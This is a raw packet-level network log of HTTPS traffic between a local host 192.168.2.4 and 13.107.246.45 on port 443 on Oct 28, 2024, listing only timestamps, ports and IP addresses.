Oct 28, 2024 06:28:00.305569887 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.305722952 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.305773020 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.305799961 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.305805922 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.305814981 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.305819035 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.307054996 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.307080030 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.307147980 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.307262897 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.307271004 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.307965040 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.307991982 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.308073997 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.308161974 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.308188915 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.317193031 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.317585945 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.317648888 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.317811012 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.317811012 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.317826986 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.317847013 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.319462061 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.319472075 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.319540977 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.319658041 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.319667101 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.324650049 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.324908972 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.324961901 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.324989080 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.324989080 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.324995995 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.325004101 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.326751947 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.326812029 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.326899052 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.327016115 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.327043056 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:00.602051020 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:00.602066994 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.029818058 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.037265062 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.037345886 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.039784908 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.044934034 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.044969082 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.048788071 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.048805952 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.052908897 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.056265116 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.056277037 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.056533098 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.056576967 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.057142973 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.058686018 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.060811043 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.060864925 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.064552069 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.064577103 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.068736076 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.068742990 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.072880030 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.072885036 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.076890945 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.076894045 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.172251940 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.172492981 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.172574043 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.182760000 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.183173895 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.183228970 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.184236050 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.184237003 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.184278011 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.184304953 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.185900927 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.186093092 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.186156034 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.186224937 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.186224937 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.186256886 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.186284065 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.187854052 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.187854052 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.187871933 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.187891960 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.193520069 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.193558931 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.193634987 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.195658922 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.195702076 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.195758104 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.196074009 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.196111917 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.196737051 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.196866989 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.196928978 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.197276115 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.197295904 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.197307110 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.197312117 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.198407888 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.198430061 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.198492050 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.198577881 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.198609114 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.198849916 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.198873997 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.202239990 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.202276945 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.202339888 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.202481985 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.202512026 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.203512907 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.203707933 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.203764915 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.203922987 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.203926086 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.203954935 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.203958035 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.206847906 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.206866980 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.206938028 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.207073927 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.207086086 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.933825970 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.934396029 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.934422970 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.934887886 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.934899092 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.945916891 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.946254015 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.946274996 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.946597099 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.946603060 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.947505951 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.947782040 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.947801113 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.948097944 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.948108912 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.948760986 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.949120045 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.949135065 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.949568033 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.949579000 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.950243950 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.950541973 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.950561047 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:01.950984955 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:01.950989962 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.061923027 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.062057972 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.062207937 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.062247992 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.062247992 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.062267065 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.062294006 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.065233946 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.065304041 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.065404892 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.065546989 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.065565109 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.077661991 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.077864885 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.077930927 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.077985048 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.077985048 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.078012943 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.078037024 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.078430891 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.078804016 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.079528093 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.079562902 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.079564095 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.079581976 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.079606056 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.080116987 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.080147982 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.080198050 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.080318928 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.080329895 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.080990076 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.081212997 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.081269979 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.081286907 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.081418991 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.081432104 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.081435919 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.081470966 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.081475973 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.081485033 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.081537962 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.081546068 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.081547976 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.081579924 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.081584930 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.081583977 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.081650019 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.081760883 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.081784964 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.083473921 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.083499908 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.083590984 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.083611965 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.083631039 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.083668947 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.083791018 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.083794117 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.083816051 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.083821058 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.806572914 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.808135986 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.808190107 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.808633089 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.808649063 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.815854073 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.820549011 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.820571899 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.821019888 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.821027040 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.821049929 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.821209908 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.821290016 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.821347952 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.821552038 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.821568012 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.821727037 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.821739912 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.821907043 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.821918011 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.832607985 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.836868048 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.836884975 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.837275028 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.837285995 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.936976910 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.937231064 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.937292099 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.937362909 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.937362909 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.937385082 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.937410116 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.940574884 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.940608025 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.940838099 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.940839052 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.940891027 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.947094917 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.947252989 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.947304010 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.947343111 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.947350979 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.947361946 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.947366953 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.949383020 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.949413061 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.949476957 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.949599981 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.949615002 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.951812983 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.951883078 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.952022076 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.952092886 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.952163935 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.952163935 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.952194929 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.952215910 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.952229977 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.952267885 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.952316999 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.952328920 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.952370882 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.952383995 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.954328060 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.954359055 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.954391956 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.954401016 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.954427004 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.954466105 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.954577923 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.954588890 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.954590082 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.954602957 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.966294050 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.966356993 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.966422081 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.966485023 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.966504097 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.966528893 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.966540098 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.968444109 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.968456984 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:02.968521118 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.968645096 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:02.968653917 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.681487083 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.683835030 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.685034990 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.720480919 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.727070093 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.727071047 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.727842093 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.737023115 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.775557995 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.789566040 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.801913977 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.801923037 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.802437067 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.802443027 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.803477049 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.803495884 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.807100058 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.807111025 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.810576916 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.810590982 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.814222097 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.814227104 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.817727089 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.817733049 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.819770098 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.819775105 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.820000887 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.820005894 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.820336103 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.820339918 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.936678886 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.936871052 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.936954021 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.937474012 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.937486887 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.937496901 CET	49803	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.937501907 CET	443	49803	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.940356970 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.940413952 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.940454006 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.940500975 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.940687895 CET	443	49799	13.107.246.45	192.168.2.4
